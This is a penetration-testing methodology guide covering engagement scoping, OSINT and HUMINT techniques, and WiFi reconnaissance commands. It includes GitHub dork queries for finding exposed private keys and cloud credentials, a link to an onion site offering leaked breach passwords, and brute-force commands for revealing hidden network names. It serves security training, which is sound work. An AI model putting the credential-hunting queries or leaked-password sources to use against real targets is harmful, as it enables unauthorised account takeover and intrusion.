# The Pentesting Guide

## Introduction

On this website, you will find a guide and methodology that you can follow to perform a penetration test.

## What is a penetration test?

A penetration test is an authorised simulated cyberattack against your computer system to evaluate its security at a given time, identifying and exploiting any vulnerability on your systems that attackers could exploit to demonstrate the business impacts of weaknesses in your systems.

## What is not a penetration test?

A penetration test is not:

* **A vulnerability assessment**: The process of identifying, quantifying, and prioritising (or ranking) the vulnerabilities in a system.
* **Red Teaming**: The process of demonstrating how an organisation would face a real attack against its networks, applications, physical security controls and employees.
* **Bug bounty program**: Independent hackers are paid per vulnerability and bugs found. Bounty programs usually continue for the product’s lifetime finding new vulnerabilities as the product changes.

## How to proceed?

As you can see in the image below, this is not only a summary of what you are going to find on this site but also the steps you should follow in order to perform a penetration test.

![Pentesting phases](/files/uN3WfgCpKQ838PJrVWBa)

## Guide Licence

This guide is under Attribution-NonCommercial 4.0 International (CC BY-NC 4.0), you are free to:

* **Share**: copy and redistribute the material in any medium or format.
* **Adapt**: remix, transform, and build upon the material

Under the following terms:

* **Attribution**: You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.
* **NonCommercial**: You may not use the material for commercial purposes

![Attribution-NonCommercial (CC BY-NC 4.0)](/files/UhqD8SzS5LlRxEbdz6ed)


# 0 - Pre-Engagement

## Introduction

This section contains several topics that a pentester must know before any penetration test.

## The Scope

Defining the scope is the most crucial piece of a penetration test because it will prevent you from penalties, trials and unsatisfied customers. The scope must define explicitly what is going to be tested: a set of IPs, domains, subdomains, services, access points (BSSID & ESSID) and devices (any asset of the company).

Furthermore, a well-defined scope will save you time and money for the customer. For instance, machines inside the same network might differ in services, requiring more or less time to evaluate the whole device. Moreover, you have to consider that an IP could contain several services like web services, and each web service might contain several domains with subdomains. Hence, it would be malpractice to define the scope IP based only.

Dealing with Third Parties

Companies outsource services like hosting a web application to third parties. Hence, you need to know if the third party allows testing the customer services hosted on their system. Then, you should ask the company to contact the third parties to inform them about the execution of an imminent pentesting. Failing to obtain the proper permissions brings the possibility of breaking the law, resulting in a complaint by third parties for attacking their systems.

Finally, consider that the law might differ depending on which country the outsourced services are hosted. For instance, it might be the case that port scanning might be forbidden in that foreign country.

## Attack strategy

Depending on the available information provided by the customer and the starting point the customer wants to set, there are different approaches for pentesting.

### Categories

Depending on the amount of knowledge known by the attacker, three types of tests can tackle.

#### White Box

Attackers know detailed information about the targeted system, including source code, configurations and system documentation. It allows attackers to find as many weaknesses as possible in the shortest period of time. Unlike internal testing, white box testing does not include any account credentials.

#### Gray Box

Attackers have some information, but not enough, so time and resources will be invested in finding new assets, identifying vulnerabilities and threats based on the amount of information the customer provided to them.

#### Black Box

The analyst engages the target without prior knowledge of its defences, assets or channels. The target is not notified in advance of the audit scope, channels tested, or test vectors. This type of audit assesses the analyst's capabilities and the target's readiness against unknown attacks.

### Starting point

Depending on the starting point of the attack, the following tests can be considered.

#### External pentesting

An attack against an organisation's external servers or devices, such as their website and network servers. The objective is to determine whether and how far an attacker can penetrate the company's infrastructure remotely.

#### Internal pentesting

An authorised user with standard access rights performs attacks, allowing you to determine what damage can be caused by an employee who has personal accounts concerning administrative accounts.

## Services

Sometimes the customer will not be interested in performing a whole pentesting due to the lack of interest or money. However, you could offer a small set of sub-services. Here you have some examples.

### Public Footprinting

Gather public data from the organisation located on the Internet looking for endpoints, vectors of attack and valuable information that can be helpful in the future like IP addresses, DNS information, operating systems, emails, phone numbers, employee information...

### Vulnerability Assessment

Analyse the company's internal and external services looking for security weaknesses.

### Web Vulnerability Assessment

Analyse web applications, APIs, or mobile web applications determined in the audit scope to find vulnerabilities like XSS, XXE, SQLi, Template injection...

### Wireless Network Assessment

Identify Wi-Fi vulnerabilities on the company's access points and connected devices like AP/Client misconfigurations, MAC spoofing, rogue access points and WPS Attacks. Then, identify the connected devices for a later traffic analysis (looking for credentials) or Man-In-The-Middle attacks.

### Pentesting

The vulnerabilities found during the vulnerability assessment are exploited to compromise servers, endpoints, web applications, network devices... Furthermore, the test continues with subsequent vulnerability scanning and exploitations of other internal resources in order to determine the impact of the vulnerabilities and the risk to which the business was exposed.

### Social Engineering

Focuses on company employees, performing attacks like phishing, USB drops, and employee impersonation to gain access to the company's infrastructure or retrieve sensitive information.

### Red Teaming

A large-scale security assessment across the entire organization, being the scope everysingle asset of the business. This service involves every previous service and can include software analysis and physical security to obtain access and escalate privilege into the company's infrastructure.

### Denial Of Service

Assess server, network or application performance against a Denial Of Service attack by overloading the system.

Rules of engagement

While the scope defines what will be tested, the rules of engagement define when, where and how that testing will occur.

## Time Estimation

A penetration test can not last indefinitely, resulting in a significant increase in the invoice and a waste of time for the auditor. For example, suppose you base your penetration test on finding an exploitable vulnerability for a certain amount of money. In that case, it may occur that you never discover a vulnerability in the system because it is fully patched, so you would be losing money.

Hence, it would help to estimate the time based on your experience. However, if you are new to this profession, a good approach would be to set ample padding that will be tuned in future tests based on your previous results. Furthermore, being more skilled will reduce your analysis time, getting the same results in less time.

## Locations

There would be cases where the penetration tester will have to operate in the company locations, such as a set of buildings in one or several cities. Hence, the costs of travel, hotels, and diets should be stipulated.

## Changes during the pentesting

The auditor should notify the client that any changes made to the scope's environment during the period of testing, may affect the results of the assessment. So, it is important to postpone changes until the end of the evaluation.

Finally, If objectives were changed during the course of the testing then all changes must be listed in the executive summary section of the report. Additionally, the letter of the amendment should be included in the appendix of the report and linked from the former section.

## Pentest schedule

It might be the case that some customers require that all the testing or some parts are done outside business hours. This may mean working at night or at weekends, so the time of day requirements should be well established with the customer before testing begins.

## Attack strategy

Depending on how the engagement is performed and the amount of information shared with the testing team, there might be the case that some services are not necessary. For instance, public footprinting might not be essential if you perform an internal vulnerability assessment. Thus, the client should be noticed.

## Client contact details

Despite taking all the necessary precautions when testing, testing can sometimes go wrong for various reasons, such as exploiting a vulnerability, turning into a denial of service, or blocking accounts due to brute force. Therefore, it is crucial to have the correct contact information so that the pentester can reach the staff in charge if a down service needs to be up and running or an account needs to be unblocked, as soon as possible, preventing the company from incurring financial losses due to these issues.

## Sensitive data handling

During test preparation and execution, the testing team will be provided with and may also find sensitive information about the company, the system, and/or its users. Consequently, sensitive data handling needs special attention. Here you have some security measures you should carry out:

* Full disk encryption.
* Sanitise your test machine between tests.
* Check the various data protection laws that apply to each client.

## Secure communications

During the engagement, you will deal with or find sensitive information that might be worth communicating to the client as vulnerabilities and malware found, the location of clear-text credentials or the final report; thus, must be encrypted. Before the engagement, you need to agree on which measures of secure communications are to be established.

Good options would be:

* **PGP Keys**: Using [Kleopatra](https://www.openpgp.org/software/kleopatra/) for encrypting files or emails.
* Telephone
* Face to Face meetings
* Password-protected compressed files, using a robust pre-shared key or OTP before the engagement.

## Identifying the pentester

Suppose you audit a company's external services or even internal services from external sources. In that case, an advertisement should be made containing the IP you are going to use to perform the attacks in order to distinguish you from an actual attacker.

One way to do it is by hiring a static IP from your ISP, informing your client all the attacks will come from that IP. Another option would be to use your client's VPN, so every attack comes from their public IP so that they can analyse the traffic in case of an incident.

## Questionnaire

One of the first steps in communication with the customer is sending questionnaires. Thanks to them, we can know the scope of the test and the estimated time required. In addition, the questions help the auditor understand what, how, when, where, and why the customer wants to evaluate their systems.

A first approach would be to send a general questionnaire to obtain information about the company's motivation, contact information, location, IT infrastructure, security measures and hiring services.

This file contains an example of a questionnaire you can use to copy the structure.

{% file src="/files/4Y1wgejEgx4VYZdgtLk7" %}


# 1 - Information Gathering

## Introduction

This phase consists of gathering as much information as possible to gain more understanding of the target. Furthermore, it is the most overlooked and most important because in this phase, you will find and craft the attack vectors for the exploitation and post-exploitation phases.

The vectors of attack could be:

* Use of compromised or weak credentials
* Phishing attacks.
* Employee impersonation
* The exploitation of service misconfiguration
* Sniffing unencrypted or weakly encrypted communications
* The exploitation of N-Day vulnerabilities

## Information Gathering Methods

The methods used to collect information can be classified in two different ways.

* **Passive**: Gather information without establishing a direct connection between the pentester and the client. It involves analysing public information on the Internet (blogs, news, social networks, etc.), public DNS queries, OSINT tools, etc.
* **Active**: Gather information establishing contact between the pentester and the client. It involves HUMINT, port enumeration, private DNS queries, vulnerability scanning, credentials brute force, directory listing, etc.

### OSINT

Open Source Intelligence (OSINT) extracts high-value intelligence by harvesting open-source records to create a comprehensive profile of specific targets. Open-source information can be defined as that information that is publicly available material that anyone can lawfully obtain by request, purchase or observation—as examples of public sources can be newspapers, journals, radio, television and the Internet, being the latter the most used nowadays.

### HUMINT

Human Intelligence (HUMINT) is intelligence gathered from any human resource. Unlike OSINT, which employs passive information gathering methods, HUMINT requires direct contact with people; that is why it needs more qualified agents capable of influencing, persuading and/or manipulating their victims for obtaining semi-public or private information—using techniques like person impersonation, social engineering, eavesdropping, trashing, etc.

Furthermore, since the obtained information is not public, it can not be contrasted; hence, the attacker must consider the sources' reliability.

HUMINT techniques are used during a pentesting for testing employees' adherence to the security policies and practices defined by the company; and for the attacker to get access to sensitive information or facilities infrastructure.

Finally, making a small comparison between OSINT and HUMINT, we know that the first one is more efficient, economical and challenging to detect.

## Types of information

The information obtained can be categorised into different principal topics.

### Physical

This information involves the client's different buildings (Headquarters, branch offices, franchises...) and the physical security of each office (camera placements, fences, sensors, guards, control access...). This information is helpful in physical pentesting or red teaming.

### Logical

The logical category consists of getting information about relationships between business clients and partners, their main competitors, their offered products, marketing activities, company significant dates, job openings, court records, charity affiliations... Useful for HUMINT attacks.

### Organisational Breakdown Structure

Obtain information about the organisation's structure and the relationships between ranks, jobs and employees. This information will help you to impersonate employees for spear phishing attacks.

### Employees

Starting from the "Organisational Breakdown Structure", we can obtain specific data from each company employee like email, social networks (metadata), court records, tastes and hobbies, professional licenses or registries... The obtained information can be used during a pentesting or red teaming service:

* The company will check each individual's trustworthiness.
* The employee will know how much data they expose on the Internet.
* The pentester will be able to craft spear-phishing attacks.

### Digital

The information categorised as digital consists of the company's published documents with their metadata, company's email addresses and social networks, public IPs, domains and subdomains, opened ports, software used, external and internal infrastructure, public repositories and services, vulnerabilities, defence technologies...

Thanks to the digital information, the pentester will find attack vectors later used in the pentesting.

## Finding vulnerabilities methodology

This section shows the required steps you should follow in order to find vulnerabilities for each service on a target computer.

1. Identify the software running.
   * Obtain the banner.
   * Use Google Images to detect the software based on the service/web page logo.
2. Identify the software version.
3. Look for vulnerabilities in that version.
   * Search for vulnerabilities on **Metasploit**
   * Search for vulnerabilities on **Searchsploit**
   * Search for vulnerabilities on **Google**
   * Search for Proofs of Concept on **GitHub/GitLab**.
4. Look for software misconfiguration.
5. Try default credentials or use brute-forcing (Exploitation phase)
   * If some credentials are found, try them everywhere

You can also use automatic tools to help you identify vulnerabilities in each service. But, you will have to check that the results do not contain false positives. Here there are some automatic tools for general services:

* [Nessus](https://www.tenable.com/products/nessus/nessus-essentials)
* [OpenVas](https://www.openvas.org)
* [Nmap](https://nmap.org/nsedoc/categories/vuln.html)
* [Acunetix](https://www.acunetix.com)
* [Nuclei](https://nuclei.projectdiscovery.io)


# Passive (OSINT)

## Introduction

Open Source Intelligence (OSINT) could also be defined as a set of techniques and tools for gathering public information about a company, physical person, etc., analysing the collected data and correlating it, turning them into intelligence.

In the "Information Gathering" phase of a pentesting OSINT tools can help the pentester in different aspects:

* **Technical information**: Discover services, hosts, domains, subdomains, git repositories, credentials, social networks, operating system versions, network diagrams, etc.
* **Human resources**: Gather information about a specific person on social networks, government records, telephone numbers, leaked credentials, metadata...

As a goal, the before mentioned information can lead to different attacks:

* Social engineering
* Passwords Brute force Attacks
* Target infiltration
* Accounts take over
* Identity theft

## The OSINT Process

This sub-phase consists of concatenated processes that allow the attacker to obtain the required intelligence to perform the pentesting. The procedures are the following.

1. **Requirements**: What information do we need from the client as a starting point?
2. **Sources of information**: What sources of information can provide us with trusty information?
3. **Harvesting**: Retrieve data from the identified sources.
4. **Data processing**: Add format and process the obtained data, obtaining meaningful information.
5. **Data analysis**: Join data from multiple sources, producing intelligence.
6. **Reporting**: Create the final report.

## Sources of information and tools

This section presents some tools and sources of information the pentester has to consider during the OSINT phase. However, an attacker does not have to rely only on these tools and must be aware of new tools that allow him to obtain further information and confirm the collected data.

### OSINT Framework

[OSINT Framework](https://osintframework.com) is an interactive web page that contains a vast set of links to free and open-source tools for different purposes such as Domains, emails addresses, usernames, telephone numbers, public records, social network profiles...

![OSINT Framework](/files/7rvbq6nBUivO8j955ZLS)

**Note**: Take into account that some sites will require registration or paying money to obtain extra data.

As an alternative to the OSINT framework, there are several webs containing sets of references to different OSINT tools such as [Malfrat's OSINT Map](https://map.malfrats.industries), [osint.link](https://osint.link), [osinttechniques.com](https://www.osinttechniques.com) and [OSINT\_Collection](https://github.com/Ph055a/OSINT_Collection).

### Search Engines

Search engines are an excellent option to conduct passive reconnaissance because they are populated with a ton of information that has been previously indexed.

### Google Dorks

Google dorks is a technique that uses the google advanced search options for gathering efficient and precise data on any topic from any website on the internet.

The Google search engine interprets search operators and commands for retrieving or accessing sensitive information that was knowingly or unknowingly released on the Internet like credentials, configuration files, documents... However, Google Search results might vary depending on the location or device used, so use it to your advantage depending on your target.

Because Google Dorking can be pretty challenging, there are already tools that help you create Google queries for collecting specific data.

### Dorksearch

[DorkSearch](https://dorksearch.com) is a tool that gives you a list of prebuilt templates for Google Dorks for different use cases. Furthermore, you can create your queries from the builder menu.

![](/files/JIotDHUdDkAMgU0lppzY)

### Google Hacking Database

[Google Hacking Database (GHDB)](https://www.exploit-db.com/google-hacking-database) is an open-source project which stores and updates a set of know dorks.

![Google Hacking Database](/files/9EDi3tkdaswv2xarHqOp)

Each dork is categorised in one of these categories:

* **Footholds**: Searches that can provide a foothold on a server.
* **Files containing usernames**
* **Sensitive directories**: Searches for directories with sensitive information.
* **Web server detection**: searches for web servers with a particular technology
* **Vulnerable files**
* **Vulnerable servers**
* **Error messages**: Searches for error messages of a specific type.
* **Files containing juicy info**: Searches for files containing important information
* **Files containing passwords**: Searches for files with passwords
* **Sensitive online shopping info**: Searches for sensitive information from online shopping sites
* **Network or vulnerability data**: Searches for specific network information or vulnerabilities.
* **Pages containing login portals**: Searches for pages containing particular login portals
* **Various online devices**: Searches for specific online devices

### GitHub dorks

GitHub dorks are pretty similar to google dorks. This can be very handy when searching for sensitive files, API keys, passwords, hidden URLs, employees, etc.

To start with GitHub dorks, you can start from the GitHub Documentation: [Search on GitHub](https://docs.github.com/en/search-github) or posts like [GitHub Recon](https://web.archive.org/web/20220120021227/https://shahjerry33.medium.com/github-recon-its-really-deep-6553d6dfbb1f), [Developers are unknowingly posting their credentials online](https://medium.com/hackernoon/developers-are-unknowingly-posting-their-credentials-online-caa7626a6f84) and [GitHub for Bug Bounty Hunters](https://gist.github.com/EdOverflow/922549f610b258f459b219a32f92d10b). Here are some valuable examples, but if you want more, visit these links: [GitHub-dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt) and [keywords](https://github.com/random-robbie/keywords/blob/master/keywords.txt).

```bash
filename:.npmrc _auth
filename:.dockercfg auth
extension:pem private
extension:ppk private
filename:id_rsa or filename:id_dsa
extension:sql mysql dump
extension:sql mysql dump password
filename:credentials aws_access_key_id
filename:.s3cfg
filename:wp-config.php
filename:.htpasswd
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.git-credentials
language:python username
language:php username
language:sql username
language:html password
language:perl password
language:shell username
language:java api
```

Furthermore, the success of GitHub dorks has driven to the creation of third-party tools like [Gitrob](https://github.com/michenriksen/gitrob/) and the result of [GitHub Code Search](https://cs.github.com/about).

### Shodan

Shodan is a search engine for directly accessible devices connected to the Internet, discovering devices like cameras, traffic lights, power plants.

![Shodan](/files/xOu9B3mvM2CQnuV5436t)

Furthermore, it counts with several [filters](https://www.shodan.io/search/filters) obtaining devices with default credentials, vulnerable services, screenshots, cloud providers, location... However, the filters "tag" and "vuln" are not accessible with the free plan requiring an academic membership or a small business plan.

Thanks to shodan, the pentester can create [shodan queries](https://www.shodan.io/search/examples) looking for physical assets that are part of the target company for a red teaming attack and vulnerable services exposed on the Internet that will allow them to get a foothold on the company's IT infrastructure.

### Archives.org

When conducting OSINT research in these fast-paced digital times, analysts often need access to historical versions of websites or content that no longer exists. This is where The Wayback Machine comes into play.

![Archive.org](/files/jot0DavNB0Z1DGUumTu0)

For instance, if you are looking to see historical versions of a website due to the site being deleted or replaced with new content, the Wayback Machine can help. You may need to verify that a target previously worked at a company, but the site's current state does not have the target’s information there. Furthermore, sometimes a target may intentionally hide information from their present website; looking at older dates of the site may reveal new information. Sometimes you can gather relevant data like names, phone numbers, email addresses, and even metadata from older website versions.

**Methods**

* **Quick Search Methods:** The quickest method to see all the files archived on a particular site is by accessing the following URL.

```bash
https://web.archive.org/*/www.example.com/* 
```

* **Advanced Search Method**: By directly visiting the archive [advanced search page](https://archive.org/advancedsearch.php), the attacker can perform more targeted searches and sometimes find the email address associated with a user who uploaded a file. However, this requires you to register on the platform.
* **Change**: The [changes](https://web.archive.org/web/changes/) method identifies and displays changes in the content of archived URLs. However, please consider that it is still in beta nowadays, so it might not render both websites correctly.
* **Save pages**: The Wayback machine accepts requests for a web page to be [archived](https://web.archive.org/save). However, this method is only available for web pages that allow crawlers.

## Email Harvesting

Harvesting email addresses gives an attacker more information to conduct social engineering and password brute-forcing attacks.

### The Harvester

[TheHarverster](https://github.com/laramies/theHarvester) is a command-line tool that is already installed in Kali Linux. The primary purpose of the harvester is pervasively gathering e-mail accounts, subdomain names, virtual hosts, open ports/ banners, and employee names from different public sources using various search engines, which has increased in variety for the past years. In recent versions, the authors added active techniques like the capability of doing DNS brute force, reverse IP resolution and Top-Level Domain.

We can obtain many results with just a simple command, thanks to its simplicity. The results can be complementary with other tools like maltego.

```bash
theHarvester -d <DOMAIN> -b <Data source/all> [-l <NUMBER OF RESULTS>] [-f <OutPut File>]
```

### Maltego

Maltego is one of the most powerful open source intelligence tools on the market; It is characterised by its intuitive handling and its representation of information based on graphs that connect information for investigative tasks.

![](/files/ot73pNz1wCYm5NTjzii5)

Maltego is used to map the relationships between pieces of information named Entities, resulting from running transformations.

* **Entities** are bits of information that we have obtained from a data source (a physical location, a website, a company name, an email address, a person’s name and a telephone number).
* **Transformations** are small pieces of code that fetch related information for a given input and format the results to be returned as Entities to Maltego.

However, be careful when running transformations because they can escalate too quickly, providing you with over information and turning into a gigantic graph populated with useless information.

Finally, to use maltego, you need to create an account, then you have to choose between different [plans](https://www.maltego.com/pricing-plans/): Maltego Community Edition (CE); Case File; Classic; XL and One, being free the two formers.

### HaveIBeenPwned

Once obtained information about a user like an email or phone, the pentester should check on sites like [haveibeenpwned.com](https://haveibeenpwned.com) whether there are compromised accounts that have suffered a data breach, meaning the email and password for that site’s account has been exposed to cybercriminals.

![HaveIBeenPwned](/files/yAkrIqaxkqavEbMhQpbG)

A pentester could obtain these credentials for different means, checking if employees share passwords across multiple accounts in the company's environment.

### DeepSearch

[DeepSearch](http://xjypo5vzgmo7jca6b322dnqbsdnp3amd24ybx26x5nxbusccjkm4pwid.onion/deepsearch) is a deep website, a successor from [pwndb2](https://pwndb2am4tzkvold.onion), where a pentester could obtain the credentials leaked in data breaches for free.

![DeepSearch](/files/2yk2Ins1yNGArqb7ZHfi)

Another solution for obtaining leaked passwords could be [dehashed.com](https://www.dehashed.com/pricing), but it is not free.

### Recon-Ng

[Recon-NG](https://github.com/lanmaster53/recon-ng) is a CLI framework installed on Kali Linux that conducts open-source web-based reconnaissance. It can be used for obtaining SQL injections, IPs, IP lookup, port scanning, sub-domain information, etc.

Obtaining its maximum potential can be achieved using API keys that some modules require. However, they might be subscription-based.

For setting the API keys, you need to execute the following commands.

```bash
keys list
keys add <NAME> <VALUE>
```

You will also find that no modules are installed by default, but they are easily installed with these commands.

Gives a list of all modules in the marketplace:

```bash
marketplace search [<CATEGORY>]
```

Install an individual module:

```bash
marketplace install <RELATIVE PATH MODULE>
```

Install all modules in a category:

```bash
marketplace install <RELATIVE PATH CATEGORY / all>
```

Remove a module:

```bash
marketplace remove recon/ports-hosts/ssl_scan
```

**Note**: Some of the modules will require Python dependencies to be installed outside of Recon-NG. Modules with external dependencies will have an asterisk in the D column of Marketplace results, and those requiring an API key will have an asterisk in the K column. In both cases, Recon-NG will warn you about missing dependencies and API keys after installation.

Then, to run any module, you need to follow these steps:

1. If you want to take a deeper look at what a module does, you can use the marketplace info module followed by the module name or path.

```bash
marketplace info <RELATIVE MODULE PATH>
```

1. Once you have decided which module you want to use, proceed with loading it using:

```bash
modules load <RELATIVE MODULE PATH>
```

1. Find any module prerequisites.

```bash
options list
```

1. Set the options.

```bash
options set <OPTION> <VALUE>
```

1. Execute the module.

```bash
run
```

## DNS or subdomain enumeration

An unsecured subdomain can lead to severe risks, so the pentester needs to check them. Here you have some useful tools for obtaining subdomains that do not require direct access to the client's infrastructure.

* [Aquatone](https://github.com/michenriksen/aquatone)
* [Sublister](https://github.com/aboul3la/Sublist3r)
* [DNS dumpster](https://dnsdumpster.com)
* [Facebook developers](https://developers.facebook.com/tools/ct)
* [Registration data lookup tool](https://lookup.icann.org)
* [ViewDNS](https://viewdns.info)

## Other sources & tools

* [cipher387's osint collection](https://cipher387.github.io/osint_stuff_tool_collection/)
* Gather organisation's email: [ReconMail](https://github.com/oski02/reconMail)
* Instagram: [Osintgram](https://github.com/Datalux/Osintgram)
* Obtain phone operator: [Numeración & Operadores](https://nuclei.projectdiscovery.io)
* Image Reverse: [TinEye](https://tineye.com)
* GEO-SSID: [Widdle](https://widdle.net)
* Watch videos frame by frame: [WatchFrameByFrame](http://www.watchframebyframe.com)


# Active


# HUMINT

## Introduction

Human Intelligence (HUMINT) refers to techniques used to gather intelligence through human resources.

However, one of the main problems of HUMINT is to check the veracity of the information, as there is a risk of obtaining false information, leading us down contradictory paths.

## Piggybacking & Tailgating

Piggybacking consists of getting access into a restricted area with the permission, in most cases obtained by deception, of an authorised person. Meanwhile, tailgating consists of an intruder following an authorised person closely in a reserved area unnoticed, waiting for the victim to open the door with their credentials and, before the door closes, taking advantage of this to enter inside.

## Eavesdropping

Listen to a face-to-face conversation secretly to gather information. For doing so, a typical example would be the use of bugs, an electronic listening device, physically placed in a home or office.

## Shoulder surfing

The attacker will try to sneak a peek to try to find out a password/PIN or any other information that could be useful. This attack is facilitated by the concentration of people in certain places, such as public transport, where proximity to victims allows an attacker to look at the screen of a mobile device.

## Office snooping

It is taking advantage of the absence of a worker to snoop in his workplace all the visible and accessible information that the worker has left due to overconfidence. This not only consists of post-its and papers but also the session itself that has been left open, being able to access the victim's email, files or corporate applications and install control or monitoring programs.

## Baiting

Disperse physical media with malware where the victim can easily see it. Later on, the victim will insert the flash drive into work or home computer, being the malware executed automatically or by the victim.

## References

* [¿Qué es HUMINT? Técnicas de inteligencia para recabar información directa de las personas](https://ciberpatrulla.com/humint/)


# WIFI

## Introduction

If the company has wireless access points (APs), an attacker could use them to gain access to the network infrastructure. Thus, the attacker should identify the communication stations and their clients for future attacks.

This section contains all the steps to identify Rogue Access Points, Hidden networks, connected devices, the APs software, etc.

## Interface

### Monitor mode

To set up your interface in monitor mode, you must execute one of the following commands.

```bash
# airmon-ng
airmon-ng check kill
airmon-ng [start | stop] <INTERFACE>
# iwconfig
ifconfig <INTERFACE> down
iwconfig <INTERFACE> mode monitor # "manager" mode for normal use
ifconfig <INTERFACE> up
```

Then, after restoring your network card to manager mode you should restart the network manager.

```bash
sudo service NetworkManager restart
```

**Note**: if you use Virtual Machines to perform penetrations tests, you need to insert an external Wi-Fi adapter because some visualisation software does not allow you to use the external Wi-Fi adapter in monitor mode.

### Change Network card channel

To perform attacks using tools like **aireplay-ng** you need to change your network channel in order to be in the same channel as your victim's AP. To do so, you need to execute the following command.

```bash
iwconfig <IF> channel <CHANNEL>
```

## Airodump-ng

After your wireless card is in monitor mode, you can start the scanning process with airodump in order to discover access points.

```
airodump-ng <MON_IF> [--band a]
```

You can force airodump to capture traffic on a specific channel and/or for a specific BSSID in order to filter the number of access points. With this method, you will be able to detect the clients associated with a specific AP.

```
airodump-ng [-c <CHANNEL>] [--bsid <BSSID>] [-w <PREFIX_NAME>] [--encrypt OPN|WEP|WPA|WPA1|WPA2|WPA3|OWE] <MON_IF>
```

The meaning of each column is the following:

* **BSSID**: Access Point MAC Address.
* **PWR**: Signal strength (The closer to zero, the stronger the signal is).
* **Beacons**: Number of beacon packets sent by the AP. For an AP, if the number of beacons is 0, it is a hidden station.
* **#Data**: Number of captured data packets.
* **#/s**: Number of data packets per second, measured over the last 10 seconds.
* **CH**: Channel number
* **MB**: Maximum speed supported by the AP.
* **ENC**: The encryption process (WEP, WPA, WPA2...).
* **CIPHER**: The cipher algorithm used.(TKIP -> WPA, CCMP -> WPA2, RC4 -> WEP).
* **AUTH**: The authentication protocol used (PSK, MGT, SKA (WEP) or OPN).
* **ESSID**: Wireless network name.
* **STATION (client)**: MAC address of each associated station/s searching for an AP to connect with. Clients not currently associated with an AP have a BSSID of "(not associated)".
* **Rate**: The station's receive rate.
* **Lost**: The number of data packets lost over the last 10 seconds.
* **Frames**: The number of packets sent by the client.

## Wireshark filters

* Beacon Frames: `wlan.fc.type_subtype==0x08`
* Management Frames: `wlan.fc.type==0x0`
* Control Frames: `wlan.fc.type=0x1`
* Data Frames: `wlan.fc.type=0.02`
* ToDS Frames: `wlan.fc.tods==1`
* FromDS Frames: `wlan.fc.fromds==1`
* Source MAC address: `wlan.sa == <MAC_ADDRESS>`
* Destination MAC address: `wlan.da == <MAC_ADDRESS>`
* Transmitter MAC address: `wlan.ta == <MAC_ADDRESS>`

## Discovery

This phase of wireless pentesting consists of walking inside the client building or office, listening to as many channels as possible, and looking for different types of APs and clients.

To do so, you can use airodump-ng to store all the gathered information in one or several CSV files for later use.

The time invested will depend on the size of the building and the number of channels monitored.

### Discovery of unauthorised access points (Rogue Access Points)

Unauthorized access points are any access points inside the company's perimeter, installed without authorisation from a system administrator, used for granting access to non-corporate devices to the company's internal network or letting corporate devices access the Internet bypassing any kind of security measures.

Once you have executed airodump-ng and walked around the office, you can obtain all the unauthorised APs.

```bash
cat <airodump-01.csv> | sed '1d' | sed '/^Station MAC.*$/,$ d' | csvcut -c 1,6,7,8,14 | csvsort -c 1 | grep -v '<SCOPE_BSSID_1>\|<SCOPE_BSSID_2>'
```

The command removes the clients and then obtains the following information from the APs that are not in the scope of the audit.

* BSSID
* Privacy
* Cipher
* Authentication
* ESSID

If airodump has created several CSV files on the same folder, you can use the following line liner to extract all the APs.

```bash
find . -name  'airodump*[[:digit:]].csv' | xargs -I {} bash -c "cat {} | sed '1d' | sed '/^Station MAC.*$/,$ d' | csvcut -c 1,6,7,8,14  | csvsort -c 5 | sed '1d'" | sort -t, -u -k 5 | sed  '1s/^/BSSID, Privacy, Cipher, Authentication, ESSID\n/' | csvgrep -c 1 -i -r '^$'  > APs.csv
```

To check the existence of these devices, you can compare the unauthorised devices found against a list of access points provided by the company. Another way is to check the behaviour of the devices like the authentication or encryption methods, etc.

If the client has provided you a CVS file with their APs like so:

```bash
BSSID,ESSID,Location
XX:XX:XX:XX:XX:XX,WIFI_CORP_1,1st Floor (Reception)
```

You could use the following command to retrieve the Rogue Access Points.

```bash
cat <planta_X-01.csv> | sed '1d' | sed '/^Station MAC.*$/,$ d' | csvcut -c 1,6,7,8,14 | csvsort -c 1 | grep -v $(sed '1d' <CSV_SCOPE_FILE> |  csvcut -c 1 |awk 1 ORS='\\|' | sed   's/..$//')
```

### Discovery of Hidden networks

A hidden network is a network whose access point does not broadcast the ESSID. Nonetheless, in order to access a hidden network, the client device must provide the name SSID of the network.

On airodump-ng these networks have an **ESSID** similar to `<length:X>`.

<figure><img src="/files/Bp5xokuChk5x7f32bfNB" alt=""><figcaption><p>Hidden network</p></figcaption></figure>

Finally, if you want to know the name of the hidden network there are two alternatives:

1\. Deauthenticate all the clients and use Wireshark to gather the client connection packets, obtaining the ESSID.&#x20;

2\. Use brute force methods to obtain the name.

```bash
# Dictionary attack
mdk3 ath0 p -f <WORDLIST.TXT> -t <BSSID>  -c <CHANNEL>
# Brute Force
mdk3 ath0 p -b {a|l|u|n|c|m} -t <00:11:22:33:44:55> -c <CHANNEL> [-s 1]
```

### Discovery of unauthorised clients

This section aims to obtain all the devices associated with the APs in the scope. Then, the client will have to check whether those devices must be connected to the wireless network or not.

```bash
cat <airodump-01.csv> | sed '0,/^\r.*/d' | sed '0,/^\r.*/d' | csvcut -c 1,6 | csvsort -c 2 -r | grep -v 'not associated'
```

The command obtains the following information from the client:

* Station MAC address
* Associated AP

To obtain all the clients from several CSV files, you can use this one liner:

```bash
find . -name  'airodump*[[:digit:]].csv' | xargs -I {} bash -c "cat {} | sed '0,/^\r.*/d' | sed '0,/^\r.*/d' | csvcut -c 1,6,7 | csvsort -c 2 -r | grep -v 'not associated'"
```

### Discovery of known client device network preferences

The client devices periodically send a control frame called "probe request" containing a list of preferred networks. This procedure aims to search for known networks to connect to automatically.

This information can be helpful to find relationships between clients or create fake access points.

```bash
cat <airodump-01.csv> | sed '0,/^\r.*/d' | csvcut -c 1,6,7 | csvsort -c 3
```

As an alternative, you can use [probequest](https://github.com/SkypLabs/probequest) to obtain more results.

**Dependencies**: `pip3 install faker faker_wifi_essid`

```bash
probequest <MON_ID> -w output.csv
```

## Fingerprinting

Once the devices have been discovered, it is time to extract as much information about the devices as possible.

### Identification of AP software

If WPS is enabled, you can obtain much information about the device with [WPSIG](https://github.com/0x90/WPSIG).

```bash
./wpsig.py <IF>
```

Also, it is possible using **Wireshark**, filtering by the target AP `wlan.sa == <MAC_AP>` and looking at the "Tagged parameters".

![Wireshark AP vendor](/files/CJUlMkFMU39gCSOoXlF5)

